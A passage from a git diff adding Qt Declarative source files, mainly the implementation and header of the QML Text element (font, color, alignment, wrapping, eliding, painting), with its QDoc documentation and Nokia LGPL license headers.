+/*!
+ \qmlproperty bool Text::font.strikeout
+
+ Sets whether the font has a strikeout style.
+*/
+
+/*!
+ \qmlproperty real Text::font.pointSize
+
+ Sets the font size in points. The point size must be greater than zero.
+*/
+
+/*!
+ \qmlproperty int Text::font.pixelSize
+
+ Sets the font size in pixels.
+
+ Using this function makes the font device dependent.
+ Use \c pointSize to set the size of the font in a device independent manner.
+*/
+
+/*!
+ \qmlproperty real Text::font.letterSpacing
+
+ Sets the letter spacing for the font.
+
+ Letter spacing changes the default spacing between individual letters in the font.
+ A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing.
+*/
+
+/*!
+ \qmlproperty real Text::font.wordSpacing
+
+ Sets the word spacing for the font.
+
+ Word spacing changes the default spacing between individual words.
+ A positive value increases the word spacing by a corresponding amount of pixels,
+ while a negative value decreases the inter-word spacing accordingly.
+*/
+
+/*!
+ \qmlproperty enumeration Text::font.capitalization
+
+ Sets the capitalization for the text.
+
+ \list
+ \o Font.MixedCase - This is the normal text rendering option where no capitalization change is applied.
+ \o Font.AllUppercase - This alters the text to be rendered in all uppercase type.
+ \o Font.AllLowercase - This alters the text to be rendered in all lowercase type.
+ \o Font.SmallCaps - This alters the text to be rendered in small-caps type.
+ \o Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character.
+ \endlist
+
+ \qml
+ Text { text: "Hello"; font.capitalization: Font.AllLowercase }
+ \endqml
+*/
+QFont QDeclarativeText::font() const
+{
+ Q_D(const QDeclarativeText);
+ return d->sourceFont;
+}
+
+void QDeclarativeText::setFont(const QFont &font)
+{
+ Q_D(QDeclarativeText);
+ if (d->sourceFont == font)
+ return;
+
+ d->sourceFont = font;
+ QFont oldFont = d->font;
+ d->font = font;
+ if (d->font.pointSizeF() != -1) {
+ // 0.5pt resolution
+ qreal size = qRound(d->font.pointSizeF()*2.0);
+ d->font.setPointSizeF(size/2.0);
+ }
+
+ if (oldFont != d->font)
+ d->updateLayout();
+
+ emit fontChanged(d->sourceFont);
+}
+
+/*!
+ \qmlproperty string Text::text
+
+ The text to display. Text supports both plain and rich text strings.
+
+ The item will try to automatically determine whether the text should
+ be treated as rich text. This determination is made using Qt::mightBeRichText().
+*/
+QString QDeclarativeText::text() const
+{
+ Q_D(const QDeclarativeText);
+ return d->text;
+}
+
+void QDeclarativeText::setText(const QString &n)
+{
+ Q_D(QDeclarativeText);
+ if (d->text == n)
+ return;
+
+ d->richText = d->format == RichText || (d->format == AutoText && Qt::mightBeRichText(n));
+ d->text = n;
+ if (isComponentComplete()) {
+ if (d->richText) {
+ d->ensureDoc();
+ d->doc->setText(n);
+ d->rightToLeftText = d->doc->toPlainText().isRightToLeft();
+ } else {
+ d->rightToLeftText = d->text.isRightToLeft();
+ }
+ d->determineHorizontalAlignment();
+ }
+ d->updateLayout();
+ emit textChanged(d->text);
+}
+
+
+/*!
+ \qmlproperty color Text::color
+
+ The text color.
+
+ An example of green text defined using hexadecimal notation:
+ \qml
+ Text {
+ color: "#00FF00"
+ text: "green text"
+ }
+ \endqml
+
+ An example of steel blue text defined using an SVG color name:
+ \qml
+ Text {
+ color: "steelblue"
+ text: "blue text"
+ }
+ \endqml
+*/
+QColor QDeclarativeText::color() const
+{
+ Q_D(const QDeclarativeText);
+ return d->color;
+}
+
+void QDeclarativeText::setColor(const QColor &color)
+{
+ Q_D(QDeclarativeText);
+ if (d->color == color)
+ return;
+
+ d->color = color;
+ d->invalidateImageCache();
+ emit colorChanged(d->color);
+}
+
+/*!
+ \qmlproperty enumeration Text::style
+
+ Set an additional text style.
+
+ Supported text styles are:
+ \list
+ \o Text.Normal - the default
+ \o Text.Outline
+ \o Text.Raised
+ \o Text.Sunken
+ \endlist
+
+ \qml
+ Row {
+ Text { font.pointSize: 24; text: "Normal" }
+ Text { font.pointSize: 24; text: "Raised"; style: Text.Raised; styleColor: "#AAAAAA" }
+ Text { font.pointSize: 24; text: "Outline";style: Text.Outline; styleColor: "red" }
+ Text { font.pointSize: 24; text: "Sunken"; style: Text.Sunken; styleColor: "#AAAAAA" }
+ }
+ \endqml
+
+ \image declarative-textstyle.png
+*/
+QDeclarativeText::TextStyle QDeclarativeText::style() const
+{
+ Q_D(const QDeclarativeText);
+ return d->style;
+}
+
+void QDeclarativeText::setStyle(QDeclarativeText::TextStyle style)
+{
+ Q_D(QDeclarativeText);
+ if (d->style == style)
+ return;
+
+ // changing to/from Normal requires the boundingRect() to change
+ if (isComponentComplete() && (d->style == Normal || style == Normal))
+ prepareGeometryChange();
+ d->style = style;
+ d->invalidateImageCache();
+ emit styleChanged(d->style);
+}
+
+/*!
+ \qmlproperty color Text::styleColor
+
+ Defines the secondary color used by text styles.
+
+ \c styleColor is used as the outline color for outlined text, and as the
+ shadow color for raised or sunken text. If no style has been set, it is not
+ used at all.
+
+ \qml
+ Text { font.pointSize: 18; text: "hello"; style: Text.Raised; styleColor: "gray" }
+ \endqml
+
+ \sa style
+ */
+QColor QDeclarativeText::styleColor() const
+{
+ Q_D(const QDeclarativeText);
+ return d->styleColor;
+}
+
+void QDeclarativeText::setStyleColor(const QColor &color)
+{
+ Q_D(QDeclarativeText);
+ if (d->styleColor == color)
+ return;
+
+ d->styleColor = color;
+ d->invalidateImageCache();
+ emit styleColorChanged(d->styleColor);
+}
+
+
+/*!
+ \qmlproperty enumeration Text::horizontalAlignment
+ \qmlproperty enumeration Text::verticalAlignment
+
+ Sets the horizontal and vertical alignment of the text within the Text items
+ width and height. By default, the text is vertically aligned to the top. Horizontal
+ alignment follows the natural alignment of the text, for example text that is read
+ from left to right will be aligned to the left.
+
+ The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight, \c Text.AlignHCenter and
+ \c Text.AlignJustify. The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom
+ and \c Text.AlignVCenter.
+
+ Note that for a single line of text, the size of the text is the area of the text. In this common case,
+ all alignments are equivalent. If you want the text to be, say, centered in its parent, then you will
+ need to either modify the Item::anchors, or set horizontalAlignment to Text.AlignHCenter and bind the width to
+ that of the parent.
+
+ When using the attached property \l {LayoutMirroring::enabled} to mirror application
+ layouts, the horizontal alignment of text will also be mirrored. However, the property
+ \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment
+ of Text, use the property \l {LayoutMirroring::enabled}.
+*/
+QDeclarativeText::HAlignment QDeclarativeText::hAlign() const
+{
+ Q_D(const QDeclarativeText);
+ return d->hAlign;
+}
+
+void QDeclarativeText::setHAlign(HAlignment align)
+{
+ Q_D(QDeclarativeText);
+ bool forceAlign = d->hAlignImplicit && d->effectiveLayoutMirror;
+ d->hAlignImplicit = false;
+ if (d->setHAlign(align, forceAlign) && isComponentComplete())
+ d->updateLayout();
+}
+
+void QDeclarativeText::resetHAlign()
+{
+ Q_D(QDeclarativeText);
+ d->hAlignImplicit = true;
+ if (d->determineHorizontalAlignment() && isComponentComplete())
+ d->updateLayout();
+}
+
+QDeclarativeText::HAlignment QDeclarativeText::effectiveHAlign() const
+{
+ Q_D(const QDeclarativeText);
+ QDeclarativeText::HAlignment effectiveAlignment = d->hAlign;
+ if (!d->hAlignImplicit && d->effectiveLayoutMirror) {
+ switch (d->hAlign) {
+ case QDeclarativeText::AlignLeft:
+ effectiveAlignment = QDeclarativeText::AlignRight;
+ break;
+ case QDeclarativeText::AlignRight:
+ effectiveAlignment = QDeclarativeText::AlignLeft;
+ break;
+ default:
+ break;
+ }
+ }
+ return effectiveAlignment;
+}
+
+bool QDeclarativeTextPrivate::setHAlign(QDeclarativeText::HAlignment alignment, bool forceAlign)
+{
+ Q_Q(QDeclarativeText);
+ if (hAlign != alignment || forceAlign) {
+ QDeclarativeText::HAlignment oldEffectiveHAlign = q->effectiveHAlign();
+ hAlign = alignment;
+ emit q->horizontalAlignmentChanged(hAlign);
+ return true;
+ }
+ return false;
+}
+
+bool QDeclarativeTextPrivate::determineHorizontalAlignment()
+{
+ Q_Q(QDeclarativeText);
+ if (hAlignImplicit && q->isComponentComplete()) {
+ bool alignToRight = text.isEmpty() ? QApplication::keyboardInputDirection() == Qt::RightToLeft : rightToLeftText;
+ return setHAlign(alignToRight ? QDeclarativeText::AlignRight : QDeclarativeText::AlignLeft);
+ }
+ return false;
+}
+
+void QDeclarativeTextPrivate::mirrorChange()
+{
+ Q_Q(QDeclarativeText);
+ if (q->isComponentComplete()) {
+ if (!hAlignImplicit && (hAlign == QDeclarativeText::AlignRight || hAlign == QDeclarativeText::AlignLeft)) {
+ updateLayout();
+ }
+ }
+}
+
+QTextDocument *QDeclarativeTextPrivate::textDocument()
+{
+ return doc;
+}
+
+QDeclarativeText::VAlignment QDeclarativeText::vAlign() const
+{
+ Q_D(const QDeclarativeText);
+ return d->vAlign;
+}
+
+void QDeclarativeText::setVAlign(VAlignment align)
+{
+ Q_D(QDeclarativeText);
+ if (d->vAlign == align)
+ return;
+
+ if (isComponentComplete())
+ prepareGeometryChange();
+ d->vAlign = align;
+ emit verticalAlignmentChanged(align);
+}
+
+/*!
+ \qmlproperty enumeration Text::wrapMode
+
+ Set this property to wrap the text to the Text item's width. The text will only
+ wrap if an explicit width has been set. wrapMode can be one of:
+
+ \list
+ \o Text.NoWrap (default) - no wrapping will be performed. If the text contains insufficient newlines, then \l paintedWidth will exceed a set width.
+ \o Text.WordWrap - wrapping is done on word boundaries only. If a word is too long, \l paintedWidth will exceed a set width.
+ \o Text.WrapAnywhere - wrapping is done at any point on a line, even if it occurs in the middle of a word.
+ \o Text.Wrap - if possible, wrapping occurs at a word boundary; otherwise it will occur at the appropriate point on the line, even in the middle of a word.
+ \endlist
+*/
+QDeclarativeText::WrapMode QDeclarativeText::wrapMode() const
+{
+ Q_D(const QDeclarativeText);
+ return d->wrapMode;
+}
+
+void QDeclarativeText::setWrapMode(WrapMode mode)
+{
+ Q_D(QDeclarativeText);
+ if (mode == d->wrapMode)
+ return;
+
+ d->wrapMode = mode;
+ d->updateLayout();
+
+ emit wrapModeChanged();
+}
+
+/*!
+ \qmlproperty int Text::lineCount
+ \since QtQuick 1.1
+
+ Returns the number of lines visible in the text item.
+
+ This property is not supported for rich text.
+
+ \sa maximumLineCount
+*/
+int QDeclarativeText::lineCount() const
+{
+ Q_D(const QDeclarativeText);
+ return d->lineCount;
+}
+
+/*!
+ \qmlproperty bool Text::truncated
+ \since QtQuick 1.1
+
+ Returns true if the text has been truncated due to \l maximumLineCount
+ or \l elide.
+
+ This property is not supported for rich text.
+
+ \sa maximumLineCount, elide
+*/
+bool QDeclarativeText::truncated() const
+{
+ Q_D(const QDeclarativeText);
+ return d->truncated;
+}
+
+/*!
+ \qmlproperty int Text::maximumLineCount
+ \since QtQuick 1.1
+
+ Set this property to limit the number of lines that the text item will show.
+ If elide is set to Text.ElideRight, the text will be elided appropriately.
+ By default, this is the value of the largest possible integer.
+
+ This property is not supported for rich text.
+
+ \sa lineCount, elide
+*/
+int QDeclarativeText::maximumLineCount() const
+{
+ Q_D(const QDeclarativeText);
+ return d->maximumLineCount;
+}
+
+void QDeclarativeText::setMaximumLineCount(int lines)
+{
+ Q_D(QDeclarativeText);
+
+ d->maximumLineCountValid = lines==INT_MAX ? false : true;
+ if (d->maximumLineCount != lines) {
+ d->maximumLineCount = lines;
+ d->updateLayout();
+ emit maximumLineCountChanged();
+ }
+}
+
+void QDeclarativeText::resetMaximumLineCount()
+{
+ Q_D(QDeclarativeText);
+ setMaximumLineCount(INT_MAX);
+ d->elidePos = QPointF();
+ if (d->truncated != false) {
+ d->truncated = false;
+ emit truncatedChanged();
+ }
+}
+
+/*!
+ \qmlproperty enumeration Text::textFormat
+
+ The way the text property should be displayed.
+
+ Supported text formats are:
+
+ \list
+ \o Text.AutoText (default)
+ \o Text.PlainText
+ \o Text.RichText
+ \o Text.StyledText
+ \endlist
+
+ If the text format is \c Text.AutoText the text element
+ will automatically determine whether the text should be treated as
+ rich text. This determination is made using Qt::mightBeRichText().
+
+ Text.StyledText is an optimized format supporting some basic text
+ styling markup, in the style of html 3.2:
+
+ \code
+ <font size="4" color="#ff0000">font size and color</font>
+ <b>bold</b>
+ <i>italic</i>
+ <br>
+ &gt; &lt; &amp;
+ \endcode
+
+ \c Text.StyledText parser is strict, requiring tags to be correctly nested.
+
+ \table
+ \row
+ \o
+ \qml
+Column {
+ Text {
+ font.pointSize: 24
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ Text {
+ font.pointSize: 24
+ textFormat: Text.RichText
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ Text {
+ font.pointSize: 24
+ textFormat: Text.PlainText
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+}
+ \endqml
+ \o \image declarative-textformat.png
+ \endtable
+*/
+QDeclarativeText::TextFormat QDeclarativeText::textFormat() const
+{
+ Q_D(const QDeclarativeText);
+ return d->format;
+}
+
+void QDeclarativeText::setTextFormat(TextFormat format)
+{
+ Q_D(QDeclarativeText);
+ if (format == d->format)
+ return;
+ d->format = format;
+ bool wasRich = d->richText;
+ d->richText = format == RichText || (format == AutoText && Qt::mightBeRichText(d->text));
+
+ if (!wasRich && d->richText && isComponentComplete()) {
+ d->ensureDoc();
+ d->doc->setText(d->text);
+ }
+
+ d->updateLayout();
+
+ emit textFormatChanged(d->format);
+}
+
+/*!
+ \qmlproperty enumeration Text::elide
+
+ Set this property to elide parts of the text fit to the Text item's width.
+ The text will only elide if an explicit width has been set.
+
+ This property cannot be used with rich text.
+
+ Eliding can be:
+ \list
+ \o Text.ElideNone - the default
+ \o Text.ElideLeft
+ \o Text.ElideMiddle
+ \o Text.ElideRight
+ \endlist
+
+ If this property is set to Text.ElideRight, it can be used with multiline
+ text. The text will only elide if maximumLineCount has been set.
+
+ If the text is a multi-length string, and the mode is not \c Text.ElideNone,
+ the first string that fits will be used, otherwise the last will be elided.
+
+ Multi-length strings are ordered from longest to shortest, separated by the
+ Unicode "String Terminator" character \c U009C (write this in QML with \c{"\u009C"} or \c{"\x9C"}).
+*/
+QDeclarativeText::TextElideMode QDeclarativeText::elideMode() const
+{
+ Q_D(const QDeclarativeText);
+ return d->elideMode;
+}
+
+void QDeclarativeText::setElideMode(QDeclarativeText::TextElideMode mode)
+{
+ Q_D(QDeclarativeText);
+ if (mode == d->elideMode)
+ return;
+
+ d->elideMode = mode;
+ d->updateLayout();
+
+ emit elideModeChanged(d->elideMode);
+}
+
+/*! \internal */
+QRectF QDeclarativeText::boundingRect() const
+{
+ Q_D(const QDeclarativeText);
+
+ QRect rect = d->layedOutTextRect;
+ if (d->style != Normal)
+ rect.adjust(-1, 0, 1, 2);
+
+ // Could include font max left/right bearings to either side of rectangle.
+
+ int h = height();
+ switch (d->vAlign) {
+ case AlignTop:
+ break;
+ case AlignBottom:
+ rect.moveTop(h - rect.height());
+ break;
+ case AlignVCenter:
+ rect.moveTop((h - rect.height()) / 2);
+ break;
+ }
+
+ return QRectF(rect);
+}
+
+/*! \internal */
+void QDeclarativeText::geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry)
+{
+ Q_D(QDeclarativeText);
+ if ((!d->internalWidthUpdate && newGeometry.width() != oldGeometry.width())
+ && (d->wrapMode != QDeclarativeText::NoWrap
+ || d->elideMode != QDeclarativeText::ElideNone
+ || d->hAlign != QDeclarativeText::AlignLeft)) {
+ if ((d->singleline || d->maximumLineCountValid) && d->elideMode != QDeclarativeText::ElideNone && widthValid()) {
+ // We need to re-elide
+ d->updateLayout();
+ } else {
+ // We just need to re-layout
+ d->updateSize();
+ }
+ }
+
+ QDeclarativeItem::geometryChanged(newGeometry, oldGeometry);
+}
+
+/*!
+ \qmlproperty real Text::paintedWidth
+
+ Returns the width of the text, including width past the width
+ which is covered due to insufficient wrapping if WrapMode is set.
+*/
+qreal QDeclarativeText::paintedWidth() const
+{
+ Q_D(const QDeclarativeText);
+ return d->paintedSize.width();
+}
+
+/*!
+ \qmlproperty real Text::paintedHeight
+
+ Returns the height of the text, including height past the height
+ which is covered due to there being more text than fits in the set height.
+*/
+qreal QDeclarativeText::paintedHeight() const
+{
+ Q_D(const QDeclarativeText);
+ return d->paintedSize.height();
+}
+
+/*!
+ \qmlproperty real Text::lineHeight
+ \since QtQuick 1.1
+
+ Sets the line height for the text.
+ The value can be in pixels or a multiplier depending on lineHeightMode.
+
+ The default value is a multiplier of 1.0.
+ The line height must be a positive value.
+*/
+qreal QDeclarativeText::lineHeight() const
+{
+ Q_D(const QDeclarativeText);
+ return d->lineHeight;
+}
+
+void QDeclarativeText::setLineHeight(qreal lineHeight)
+{
+ Q_D(QDeclarativeText);
+
+ if ((d->lineHeight == lineHeight) || (lineHeight < 0.0))
+ return;
+
+ d->lineHeight = lineHeight;
+ d->updateLayout();
+ emit lineHeightChanged(lineHeight);
+}
+
+/*!
+ \qmlproperty enumeration Text::lineHeightMode
+
+ This property determines how the line height is specified.
+ The possible values are:
+
+ \list
+ \o Text.ProportionalHeight (default) - this sets the spacing proportional to the
+ line (as a multiplier). For example, set to 2 for double spacing.
+ \o Text.FixedHeight - this sets the line height to a fixed line height (in pixels).
+ \endlist
+*/
+QDeclarativeText::LineHeightMode QDeclarativeText::lineHeightMode() const
+{
+ Q_D(const QDeclarativeText);
+ return d->lineHeightMode;
+}
+
+void QDeclarativeText::setLineHeightMode(LineHeightMode mode)
+{
+ Q_D(QDeclarativeText);
+ if (mode == d->lineHeightMode)
+ return;
+
+ d->lineHeightMode = mode;
+ d->updateLayout();
+
+ emit lineHeightModeChanged(mode);
+}
+
+/*!
+ Returns the number of resources (images) that are being loaded asynchronously.
+*/
+int QDeclarativeText::resourcesLoading() const
+{
+ Q_D(const QDeclarativeText);
+ return d->doc ? d->doc->resourcesLoading() : 0;
+}
+
+/*! \internal */
+void QDeclarativeText::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ Q_D(QDeclarativeText);
+
+ if (d->cacheAllTextAsImage || d->style != Normal) {
+ d->checkImageCache();
+ if (d->imageCache.isNull())
+ return;
+
+ bool oldAA = p->testRenderHint(QPainter::Antialiasing);
+ bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);
+ if (d->smooth)
+ p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+
+ QRect br = boundingRect().toRect();
+
+ bool needClip = clip() && (d->imageCache.width() > width() ||
+ d->imageCache.height() > height());
+
+ if (needClip)
+ p->drawPixmap(0, 0, width(), height(), d->imageCache, -br.x(), -br.y(), width(), height());
+ else
+ p->drawPixmap(br.x(), br.y(), d->imageCache);
+
+ if (d->smooth) {
+ p->setRenderHint(QPainter::Antialiasing, oldAA);
+ p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);
+ }
+ } else {
+ QRectF bounds = boundingRect();
+
+ bool needClip = clip() && (d->layedOutTextRect.width() > width() ||
+ d->layedOutTextRect.height() > height());
+
+ if (needClip) {
+ p->save();
+ p->setClipRect(0, 0, width(), height(), Qt::IntersectClip);
+ }
+ if (d->richText) {
+ QAbstractTextDocumentLayout::PaintContext context;
+ context.palette.setColor(QPalette::Text, d->color);
+ p->translate(bounds.x(), bounds.y());
+ d->doc->documentLayout()->draw(p, context);
+ p->translate(-bounds.x(), -bounds.y());
+ } else {
+ d->drawTextLayout(p, QPointF(0, bounds.y()), false);
+ }
+
+ if (needClip) {
+ p->restore();
+ }
+ }
+}
+
+/*! \internal */
+void QDeclarativeText::componentComplete()
+{
+ Q_D(QDeclarativeText);
+ QDeclarativeItem::componentComplete();
+ if (d->updateOnComponentComplete) {
+ d->updateOnComponentComplete = false;
+ if (d->richText) {
+ d->ensureDoc();
+ d->doc->setText(d->text);
+ d->rightToLeftText = d->doc->toPlainText().isRightToLeft();
+ } else {
+ d->rightToLeftText = d->text.isRightToLeft();
+ }
+ d->determineHorizontalAlignment();
+ d->updateLayout();
+ }
+}
+
+/*! \internal */
+void QDeclarativeText::mousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeText);
+
+ if (!d->richText || !d->doc || d->doc->documentLayout()->anchorAt(event->pos()).isEmpty()) {
+ event->setAccepted(false);
+ d->activeLink.clear();
+ } else {
+ d->activeLink = d->doc->documentLayout()->anchorAt(event->pos());
+ }
+
+ // ### may malfunction if two of the same links are clicked & dragged onto each other)
+
+ if (!event->isAccepted())
+ QDeclarativeItem::mousePressEvent(event);
+
+}
+
+/*! \internal */
+void QDeclarativeText::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeText);
+
+ // ### confirm the link, and send a signal out
+ if (d->richText && d->doc && d->activeLink == d->doc->documentLayout()->anchorAt(event->pos()))
+ emit linkActivated(d->activeLink);
+ else
+ event->setAccepted(false);
+
+ if (!event->isAccepted())
+ QDeclarativeItem::mouseReleaseEvent(event);
+}
+
+QT_END_NAMESPACE
+
+#include "qdeclarativetext.moc"
diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h
new file mode 100644
index 00000000..58d830e4
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetext_p.h
@@ -0,0 +1,211 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETEXT_H
+#define QDECLARATIVETEXT_H
+
+#include <QtGui/qtextoption.h>
+#include "qdeclarativeimplicitsizeitem_p.h"
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+class QDeclarativeTextPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplicitSizeItem
+{
+ Q_OBJECT
+ Q_ENUMS(HAlignment)
+ Q_ENUMS(VAlignment)
+ Q_ENUMS(TextStyle)
+ Q_ENUMS(TextFormat)
+ Q_ENUMS(TextElideMode)
+ Q_ENUMS(WrapMode)
+ Q_ENUMS(LineHeightMode)
+
+ Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
+ Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged)
+ Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged)
+ Q_PROPERTY(TextStyle style READ style WRITE setStyle NOTIFY styleChanged)
+ Q_PROPERTY(QColor styleColor READ styleColor WRITE setStyleColor NOTIFY styleColorChanged)
+ Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign RESET resetHAlign NOTIFY horizontalAlignmentChanged)
+ Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
+ Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
+ Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
+ Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged REVISION 1)
+ Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount REVISION 1)
+
+ Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
+ Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode?
+ Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
+ Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
+ Q_PROPERTY(qreal lineHeight READ lineHeight WRITE setLineHeight NOTIFY lineHeightChanged REVISION 1)
+ Q_PROPERTY(LineHeightMode lineHeightMode READ lineHeightMode WRITE setLineHeightMode NOTIFY lineHeightModeChanged REVISION 1)
+
+public:
+ QDeclarativeText(QDeclarativeItem *parent=0);
+ ~QDeclarativeText();
+
+ enum HAlignment { AlignLeft = Qt::AlignLeft,
+ AlignRight = Qt::AlignRight,
+ AlignHCenter = Qt::AlignHCenter,
+ AlignJustify = Qt::AlignJustify }; // ### VERSIONING: Only in QtQuick 1.1
+ enum VAlignment { AlignTop = Qt::AlignTop,
+ AlignBottom = Qt::AlignBottom,
+ AlignVCenter = Qt::AlignVCenter };
+ enum TextStyle { Normal,
+ Outline,
+ Raised,
+ Sunken };
+ enum TextFormat { PlainText = Qt::PlainText,
+ RichText = Qt::RichText,
+ AutoText = Qt::AutoText,
+ StyledText = 4 };
+ enum TextElideMode { ElideLeft = Qt::ElideLeft,
+ ElideRight = Qt::ElideRight,
+ ElideMiddle = Qt::ElideMiddle,
+ ElideNone = Qt::ElideNone };
+
+ enum WrapMode { NoWrap = QTextOption::NoWrap,
+ WordWrap = QTextOption::WordWrap,
+ WrapAnywhere = QTextOption::WrapAnywhere,
+ WrapAtWordBoundaryOrAnywhere = QTextOption::WrapAtWordBoundaryOrAnywhere, // COMPAT
+ Wrap = QTextOption::WrapAtWordBoundaryOrAnywhere
+ };
+
+ enum LineHeightMode { ProportionalHeight, FixedHeight };
+
+ QString text() const;
+ void setText(const QString &);
+
+ QFont font() const;
+ void setFont(const QFont &font);
+
+ QColor color() const;
+ void setColor(const QColor &c);
+
+ TextStyle style() const;
+ void setStyle(TextStyle style);
+
+ QColor styleColor() const;
+ void setStyleColor(const QColor &c);
+
+ HAlignment hAlign() const;
+ void setHAlign(HAlignment align);
+ void resetHAlign();
+ HAlignment effectiveHAlign() const;
+
+ VAlignment vAlign() const;
+ void setVAlign(VAlignment align);
+
+ WrapMode wrapMode() const;
+ void setWrapMode(WrapMode w);
+
+ int lineCount() const;
+ bool truncated() const;
+
+ int maximumLineCount() const;
+ void setMaximumLineCount(int lines);
+ void resetMaximumLineCount();
+
+ TextFormat textFormat() const;
+ void setTextFormat(TextFormat format);
+
+ TextElideMode elideMode() const;
+ void setElideMode(TextElideMode);
+
+ qreal lineHeight() const;
+ void setLineHeight(qreal lineHeight);
+
+ LineHeightMode lineHeightMode() const;
+ void setLineHeightMode(LineHeightMode);
+
+ void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
+
+ virtual void componentComplete();
+
+ int resourcesLoading() const; // mainly for testing
+
+ qreal paintedWidth() const;
+ qreal paintedHeight() const;
+
+ QRectF boundingRect() const;
+
+Q_SIGNALS:
+ void textChanged(const QString &text);
+ void linkActivated(const QString &link);
+ void fontChanged(const QFont &font);
+ void colorChanged(const QColor &color);
+ void styleChanged(TextStyle style);
+ void styleColorChanged(const QColor &color);
+ void horizontalAlignmentChanged(HAlignment alignment);
+ void verticalAlignmentChanged(VAlignment alignment);
+ void wrapModeChanged();
+ Q_REVISION(1) void lineCountChanged();
+ Q_REVISION(1) void truncatedChanged();
+ Q_REVISION(1) void maximumLineCountChanged();
+ void textFormatChanged(TextFormat textFormat);
+ void elideModeChanged(TextElideMode mode);
+ void paintedSizeChanged();
+ Q_REVISION(1) void lineHeightChanged(qreal lineHeight);
+ Q_REVISION(1) void lineHeightModeChanged(LineHeightMode mode);
+
+protected:
+ void mousePressEvent(QGraphicsSceneMouseEvent *event);
+ void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
+ virtual void geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeText)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeText)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeText)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
new file mode 100644
index 00000000..55447630
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
@@ -0,0 +1,143 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
